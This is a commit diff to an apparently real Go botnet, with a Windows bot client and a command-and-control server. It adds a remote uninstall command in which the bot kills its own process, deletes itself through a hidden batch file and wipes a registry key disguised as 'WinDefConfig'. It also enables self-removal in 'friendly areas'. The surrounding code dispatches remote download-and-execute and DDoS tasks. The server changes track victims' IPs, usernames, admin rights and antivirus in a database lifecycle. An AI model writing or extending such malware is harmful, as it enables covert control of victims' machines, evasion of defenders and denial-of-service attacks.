Skip to content

Commit 2919e65

Browse files
unknownunknown
authored andcommitted
⚡Update v1.7.8
1. Add uninstall command 2. Fix the problem of friendly area uninstall antomatically 3. Update the database design
1 parent 84a82b1 commit 2919e65

File tree

13 files changed

+171
-60
lines changed

13 files changed

+171
-60
lines changed

client/components/core.go

Lines changed: 31 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,31 @@ func do_register_bot(pkg *ServerReply, host string) bool {
1919
return false
2020
}
2121

22+
func do_uninstall_bot(pkg *ServerReply, host string) {
23+
report := Report{
24+
Guid: g_guid,
25+
TaskID: strconv.FormatInt(pkg.TaskId, 10),
26+
Success: true,
27+
Output: "",
28+
Error: "done",
29+
Extra: make(map[string]any),
30+
}
31+
report.Extra["action"] = "uninstall"
32+
// To json
33+
byt, _ := json.Marshal(report)
34+
// Build url
35+
url := build_url(host, "/report", botcore.use_ssl)
36+
timestamp := generate_utc_timestamp_string()
37+
sign := create_sign(g_token, g_guid, timestamp)
38+
do_head_post(url, byt, map[string]string{
39+
"X-Guid": g_guid,
40+
"X-Time": timestamp,
41+
"X-Sign": base64_enc(sign),
42+
}, botcore.use_ssl)
43+
// Install self
44+
uninstall()
45+
}
46+
2247
func do_remote_download_execute(pkg *ServerReply, host string) bool {
2348
commandline := pkg.Args["args"].(string)
2449
hidden := pkg.Args["hidden"].(bool)
@@ -53,7 +78,6 @@ func do_remote_download_execute(pkg *ServerReply, host string) bool {
5378
}
5479
report.Extra["action"] = action
5580
byt, _ := json.Marshal(report)
56-
// Send report to C2
5781

5882
// Build url
5983
url := build_url(host, "/report", botcore.use_ssl)
@@ -119,6 +143,9 @@ func send_poll_request(host string) BotState {
119143
case "execute":
120144
// Remote download execution
121145
do_remote_download_execute(reply, host)
146+
case "uninstall":
147+
// Uninstall self
148+
do_uninstall_bot(reply, host)
122149
case "ddos":
123150
do_ddos_attack(reply, host)
124151
case "poll":
@@ -283,9 +310,9 @@ func read_config() bool {
283310

284311
func Run() {
285312
// Uninstall if machine in friendly areas
286-
//if run_on_friendly_area() {
287-
// uinstall()
288-
//}
313+
if run_on_friendly_area() {
314+
uninstall()
315+
}
289316
// Read configure
290317
if !read_config() {
291318
os.Exit(0)

client/components/functions.go

Lines changed: 19 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -6,8 +6,12 @@ import (
66
"net/url"
77
"os"
88
"os/exec"
9+
"path/filepath"
910
"runtime"
11+
"strconv"
1012
"syscall"
13+
14+
"golang.org/x/sys/windows/registry"
1115
)
1216

1317
func remote_execute(path string, hidden bool, args ...string) bool {
@@ -84,11 +88,22 @@ func kill(name string) bool {
8488
return ret != 0
8589
}
8690

87-
// TODO: It has bugs
88-
func uinstall() {
91+
func uninstall() {
8992
_ = os.Chdir(os.TempDir())
90-
str := `ping 127.0.0.1 -n 3 > nul && del /f /q "` + get_module_file() + `"`
91-
cmd := exec.Command("cmd", "/C", str)
93+
script := "@echo off\n" +
94+
"chcp 65001\n" +
95+
"timtout /t 1 /nobreak\n" +
96+
"taskkill /f /pid " + strconv.FormatInt(int64(os.Getpid()), 10) + " /t" +
97+
"timtout /t 1 /nobreak\n" +
98+
"del /f /q \"" + get_module_file() + "\"\n" +
99+
"timtout /t 2 /nobreak\n" +
100+
"del /f /q %0"
101+
path := filepath.Join(os.TempDir(), random_string(8)+".bat")
102+
if err := os.WriteFile(path, []byte(script), 0644); err != nil {
103+
os.Exit(0)
104+
}
105+
reg_delete_key(registry.CURRENT_USER, g_regpath)
106+
cmd := exec.Command("cmd", "/C", path)
92107
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
93108
if err := cmd.Start(); err != nil {
94109
return

client/components/global.go

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,7 @@ var (
4949

5050
g_guid = ""
5151
g_token = ""
52-
g_regpath = "Software/WinDefConfig"
52+
g_regpath = `Software\WinDefConfig`
5353
g_installdate = ""
5454

5555
// Dlls loading
@@ -76,15 +76,15 @@ var (
7676
pfnGetKeyboardLayout = user32.NewProc("GetKeyboardLayout")
7777

7878
botcore = BotCore{
79-
version: "1.6.8",
79+
version: "1.7.8",
8080
hosts: []string{"127.0.0.1:8080"},
8181
singleton: true,
8282
sington_mutex: 0,
8383
anti_debug: false,
8484
anti_vm: false,
8585
anti_sandbox: false,
8686
install: false,
87-
use_ssl: true,
87+
use_ssl: false,
8888
root_pem: "",
8989
delay: 0,
9090
mutex_name: "eSq3w0KtD7gDMR7q",

client/components/system.go

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -132,11 +132,23 @@ func reg_delete_value(key registry.Key, subPath string, name string) bool {
132132
}
133133

134134
func reg_delete_key(key registry.Key, subPath string) bool {
135-
err := registry.DeleteKey(key, subPath)
135+
subKey, err := registry.OpenKey(key, subPath,
136+
registry.QUERY_VALUE|registry.ENUMERATE_SUB_KEYS|registry.SET_VALUE)
136137
if err != nil {
137138
return false
138139
}
139-
return true
140+
defer subKey.Close()
141+
142+
names, err := subKey.ReadSubKeyNames(-1)
143+
if err != nil {
144+
return false
145+
}
146+
for _, name := range names {
147+
if !reg_delete_key(key, subPath+`\`+name) {
148+
return false
149+
}
150+
}
151+
return registry.DeleteKey(key, subPath) == nil
140152
}
141153

142154
func reg_create_key(root registry.Key, subPath string) registry.Key {

client/main.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ import (
77
)
88

99
func main() {
10+
1011
args := os.Args
1112

1213
if len(args) >= 3 && args[1] == "-c" {

server/common/global.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ var (
1111
Seed = rand.New(rand.NewSource(time.Now().UnixNano()))
1212
Cfg = Config{}
1313
Db *sql.DB = nil
14-
Version = "v1.6.8"
14+
Version = "v1.7.8"
1515
StubPath = map[string]string{"winexe": "../bin/Stub",
1616
"winshellcode": "../bin/Stub.bin",
1717
"linux": "../bin/Stub",

server/core/localhandlers.go

Lines changed: 26 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -180,6 +180,32 @@ func select_handler(ary []string) {
180180
show_bot_info(&bot)
181181
}
182182

183+
func uninstall_handler() {
184+
sqlStr := "select id from commands where name='uninstall'"
185+
command_id := 0
186+
if err := db1.QueryRow(common.Db, sqlStr).Scan(&command_id); err != nil {
187+
if err == sql.ErrNoRows {
188+
fmt.Println("[💀] No such command")
189+
} else {
190+
fmt.Println("[💀] Command error")
191+
}
192+
return
193+
}
194+
map_args := map[string]interface{}{}
195+
byt, _ := json.Marshal(map_args)
196+
sqlStr = "insert into tasks(bot_id, command_id, status, args) values (?,?,?,?)"
197+
if common.CurrentBot == 0 {
198+
fmt.Println("[❗] It's broadcast mode now, can't use 'uninstall' command")
199+
return
200+
}
201+
_, err := db1.Insert(common.Db, sqlStr, common.CurrentBot, command_id, "queued", byt)
202+
if err != nil {
203+
fmt.Println("[💀] Failed to generate uninstall command")
204+
} else {
205+
fmt.Println("[✅] Generate uninstall command successfully")
206+
}
207+
}
208+
183209
func exec_handler(ary []string) {
184210
if len(ary) < 2 {
185211
fmt.Println("[💀] Usage: exec [-h] path/url [args], please enter help command")
@@ -213,7 +239,6 @@ func exec_handler(ary []string) {
213239
if err != nil {
214240
if err == sql.ErrNoRows {
215241
fmt.Println("[💀] No such command")
216-
217242
} else {
218243
fmt.Println("[💀] Command error")
219244
}

server/core/operator.go

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,7 @@ func Panel() {
4949
log_handler(cmdAry)
5050
case "exec", "x":
5151
exec_handler(cmdAry)
52-
case "clear":
52+
case "clear", "cls":
5353
clear_handler()
5454
show_banner()
5555
case "info":
@@ -60,6 +60,8 @@ func Panel() {
6060
build_handler()
6161
case "task", "t":
6262
task_handler(cmdAry)
63+
case "uninstall", "u":
64+
uninstall_handler()
6365
case "exit", "e":
6466
fmt.Println("[🏴‍☠️] Thanks for using THISBOT panel, bye Σ(っ °Д °;)っ")
6567
os.Exit(0)

server/core/restapi.go

Lines changed: 27 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -56,16 +56,28 @@ func recovery_handler(w http.ResponseWriter, r *http.Request) {
5656
log.Println(err.Error())
5757
} else {
5858
// Find the bot
59+
fmt.Print("[🧟] Bot[" + guid + "] online\n$ ")
5960
reply.Args["Token"] = out_token
61+
tx, _ := common.Db.Begin()
6062
// Update timestamp lastseen
61-
6263
strSql = "update clients set token=?,ip=?,whoami=?,os=?,installdate=?,isadmin=?,antivirus=?,cpuinfo=?,gpuinfo=?,clientversion=?,lastseen=?,status=? where guid=?"
63-
_, err = db1.Exec(common.Db, strSql, out_token, bot.Ip, bot.Whoami, bot.Os, utils.TimestampStringToMySqlDateTime(bot.Installdate), bot.Isadmin, bot.Antivirus, bot.Cpuinfo, bot.Gpuinfo, bot.Version, utils.TimestampStringToMySqlDateTime(time1), "active", out_guid)
64+
_, err = tx.Exec(strSql, out_token, bot.Ip, bot.Whoami, bot.Os, utils.TimestampStringToMySqlDateTime(bot.Installdate), bot.Isadmin, bot.Antivirus, bot.Cpuinfo, bot.Gpuinfo, bot.Version, utils.TimestampStringToMySqlDateTime(time1), "active", out_guid)
6465
if err != nil {
66+
tx.Rollback()
6567
reply.Status = 0
6668
reply.Error = "Find the bot but failed to update"
6769
log.Println(err.Error())
6870
}
71+
// Delete record in clients_archived
72+
strSql = "delete from clients_archived where guid=?"
73+
_, err = tx.Exec(strSql, guid)
74+
if err != nil {
75+
tx.Rollback()
76+
reply.Status = 0
77+
reply.Error = "Find the bot but failed to update"
78+
log.Println(err.Error())
79+
}
80+
tx.Commit()
6981
}
7082

7183
err = http_sender(w, guid, out_token, &reply)
@@ -94,28 +106,27 @@ func poll_handler(w http.ResponseWriter, r *http.Request) {
94106
reply.Status = 1
95107
reply.TaskId = 0
96108

97-
// Update the status of clients and clients_archived
98-
sqlStr := "update clients set status='active', lastseen=? where guid=?"
99-
_, err := db1.Exec(common.Db, sqlStr, utils.TimestampStringToMySqlDateTime(time1), guid)
100-
if err != nil {
101-
log.Println("db1.Exec err: ", err.Error())
102-
}
109+
var sqlStr string
103110
// Clients_archived
104111
tx, err := common.Db.Begin()
105112
if err != nil {
106113
log.Println("tx begin err:", err.Error())
107114
goto ReadyPoll
108115
}
109-
110-
sqlStr = "insert into clients(guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen, status) " +
111-
"select guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen, 'active' from clients_archived where guid=?"
112-
_, err = tx.Exec(sqlStr, guid)
116+
// Update the status of clients and clients_archived
117+
sqlStr = "update clients set status='active', lastseen=? where guid=?"
118+
_, err = db1.Exec(common.Db, sqlStr, utils.TimestampStringToMySqlDateTime(time1), guid)
113119
if err != nil {
114-
tx.Rollback()
115-
log.Println("tx insert err:", err.Error())
116-
goto ReadyPoll
120+
log.Println("db1.Exec err: ", err.Error())
117121
}
118-
122+
//sqlStr = "insert into clients(guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen, status) " +
123+
// "select guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen, 'active' from clients_archived where guid=?"
124+
//_, err = tx.Exec(sqlStr, guid)
125+
//if err != nil {`
126+
// tx.Rollback()
127+
// log.Println("tx insert err:", err.Error())
128+
// goto ReadyPoll
129+
//}
119130
sqlStr = "delete from clients_archived where guid=?"
120131
_, err = tx.Exec(sqlStr, guid)
121132
if err != nil {

server/core/server.go

Lines changed: 34 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -22,35 +22,50 @@ import (
2222

2323
func TaskCleaner(db *sql.DB, interval time.Duration) {
2424
go func() {
25-
time.Sleep(interval)
26-
_, err := db1.Exec(db, `delete from tasks where status in ('done', 'failed', 'canceled') and completed_at < UTC_TIMESTAMP() - INTERVAL 3 DAY`)
27-
if err != nil {
28-
log.Println("Task cleanup error: " + err.Error())
25+
ticker := time.NewTicker(interval)
26+
for range ticker.C {
27+
_, err := db1.Exec(db, `delete from tasks where status in ('done', 'failed', 'canceled') and completed_at < UTC_TIMESTAMP() - INTERVAL 3 DAY`)
28+
if err != nil {
29+
log.Println("Task cleanup error: " + err.Error())
30+
}
2931
}
3032
}()
3133
}
3234

35+
/*
36+
Bot status:
37+
1. active
38+
2. inactive
39+
3. archived
40+
4. purged
41+
*/
3342
func DeadBotCleaner(db *sql.DB) {
34-
// Create a goroutine to check inactive bot(checked per day)
35-
// If bot is online [0, 7) is active and [7, 30) days is inactive, [30, ∞) is purged
43+
// Create a goroutine to check inactive bot(checked every 3 minutes)
44+
// If bot sends poll within 3 minutes means ACTIVE or its INACTIVE
3645
go func() {
37-
sqlStr := "update clients set status='inactive' where (lastseen >= UTC_TIMESTAMP() - INTERVAL 30 DAY) and (lastseen < UTC_TIMESTAMP() - INTERVAL 7 DAY)"
38-
for {
39-
time.Sleep(time.Duration(24) * time.Hour)
46+
sqlStr := "update clients set status='inactive' where lastseen < UTC_TIMESTAMP() - INTERVAL 3 MINUTE and status='active'"
47+
ticker := time.NewTicker(2 * time.Minute)
48+
defer ticker.Stop()
49+
//sqlStr := "update clients set status='inactive' where (lastseen >= UTC_TIMESTAMP() - INTERVAL 30 DAY) and (lastseen < UTC_TIMESTAMP() - INTERVAL 7 DAY)"
50+
for range ticker.C {
4051
_, err := db1.Exec(db, sqlStr)
4152
if err != nil {
4253
log.Println("DeadBotCleaner inactive db1.Exec error: " + err.Error())
4354
}
4455
log.Println("DeadBotCleaner inactive db1.Exec okay ")
4556
}
4657
}()
47-
// Create a goroutine to check archived bot(Checked per week)
58+
// Create a goroutine to check ACHIVED bot(Checked every 3 days)
4859
go func() {
49-
sqlStr := "insert into clients_archived (guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen) " +
50-
"select guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen from clients where lastseen < UTC_TIMESTAMP() - INTERVAL 30 DAY"
51-
sqlDeleteStr := "delete from clients where lastseen < UTC_TIMESTAMP() - INTERVAL 30 DAY"
52-
for {
53-
time.Sleep(time.Duration(24*7) * time.Hour)
60+
//sqlStr := "insert into clients_archived (guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen) " +
61+
// "select guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen from clients where lastseen < UTC_TIMESTAMP() - INTERVAL 30 DAY"
62+
//sqlDeleteStr := "delete from clients where lastseen < UTC_TIMESTAMP() - INTERVAL 30 DAY"
63+
sqlStr := "insert ignore into clients_archived (guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen) " +
64+
"select guid, token, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen from clients where status='inactive' and lastseen < UTC_TIMESTAMP() - INTERVAL 3 DAY"
65+
sqlUpdateStr := "update clients set status='archived' where status='inactive' and lastseen < UTC_TIMESTAMP() - INTERVAL 3 DAY"
66+
ticker := time.NewTicker(time.Duration(3*12) * time.Hour)
67+
defer ticker.Stop()
68+
for range ticker.C {
5469
tx, err := common.Db.Begin()
5570
if err != nil {
5671
log.Println("DeadBotCleaner archived tx.Begin error: " + err.Error())
@@ -63,7 +78,7 @@ func DeadBotCleaner(db *sql.DB) {
6378
continue
6479
}
6580
// Delete record from clients table
66-
_, err = tx.Exec(sqlDeleteStr)
81+
_, err = tx.Exec(sqlUpdateStr)
6782
if err != nil {
6883
tx.Rollback()
6984
log.Println("DeadBotCleaner archived delete tx.Rollback error: " + err.Error())
@@ -75,13 +90,13 @@ func DeadBotCleaner(db *sql.DB) {
7590
}
7691
log.Println("DeadBotCleaner archived commit okay ")
7792
}
78-
7993
}()
8094
// Create a go routine to delete purged bot(Checked per month)
8195
go func() {
8296
sqlStr := `delete from clients_archived where purged_after <= UTC_TIMESTAMP()`
83-
for {
84-
time.Sleep(time.Duration(24*30) * time.Hour)
97+
ticker := time.NewTicker(time.Duration(24*15) * time.Hour)
98+
defer ticker.Stop()
99+
for range ticker.C {
85100
_, err := db1.Exec(db, sqlStr)
86101
if err != nil {
87102
log.Println("DeadBotCleaner delete error: " + err.Error())

0 commit comments

Comments
 (0)